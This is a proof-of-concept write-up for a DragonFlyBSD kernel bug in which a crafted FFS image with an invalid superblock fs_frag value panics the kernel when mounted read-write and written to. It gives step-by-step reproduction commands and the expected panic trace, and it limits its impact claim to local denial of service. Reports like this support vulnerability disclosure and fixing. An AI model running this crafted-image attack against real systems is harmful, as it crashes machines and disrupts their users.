# DF-0919 — PoC: Unvalidated `fs->fs_frag` panic

## Goal

Trigger a kernel panic by mounting a crafted FFS image whose superblock
`fs_frag` field is not in `{1, 2, 4, 8}`. The first block allocation after
mount hits `default: panic("ffs_isblock");` at `sys/vfs/ufs/ffs_subr.c:238`.

## Files

- `patch_frag.c`  — small tool that mmaps the image and rewrites the
  `fs->fs_frag` field at the on-disk superblock offset (`SBOFF` = 8192 bytes).
  The exact field offset is computed with `offsetof(struct fs, fs_frag)`
  against a one-shot C compile of `sys/vfs/ufs/fs.h`, so the patcher is
  robust to future struct layout drift.

## Build & run (DragonFlyBSD guest)

```
# 1. Make a valid FFS image
dd if=/dev/zero of=/tmp/evil.img bs=1m count=64
newfs /tmp/evil.img                      # default fs_bsize=16384, fs_frag=8

# 2. Patch the fs_frag field
cc -I/path/to/sys -o patch_frag patch_frag.c   # build against this tree's fs.h
./patch_frag /tmp/evil.img 3             # fs_frag := 3 -> default: panic

# 3. Mount read-write and trigger a block allocation
vnconfig -c vn0 /tmp/evil.img
mkdir -p /mnt/x
mount -t ufs /dev/vn0 /mnt/x
touch /mnt/x/boom                        # PANIC: ffs_isblock (ffs_subr.c:238)
```

## Expected output

```
panic: ffs_isblock
cpuid = 0
Trace begins at ...
ffs_isblock(...) at ffs_isblock+0x...  (ffs_subr.c:238)
ffs_alloccgblk(...) at ffs_alloccgblk+0x...
ffs_alloccg(...)    at ffs_alloccg+0x...
ffs_alloc(...)      at ffs_alloc+0x...
...
Uptime: ...
Dumping ...
```

For `fs_frag = 0` or `{3,5,6,7}` (the NULL entries of `fragtbl[]`) the same
`touch` may instead produce a NULL-deref page fault in `ffs_fragacct`
(`ffs_subr.c:195`) on a fragment-free path. Either outcome is a successful
DoS reproduction.

## Notes

- The certain, claimed impact is a reliable **local denial of service**
  (kernel panic). No memory-corruption or privilege-escalation primitive is
  claimed, because the OOB read on `fragtbl[]` typically faults before the
  speculative OOB write on `cg_frsum` can corrupt subsequent state.
- A read-only mount avoids the bug; the trigger requires a writable mount so
  that the first `ffs_alloccg*` block allocation actually runs.
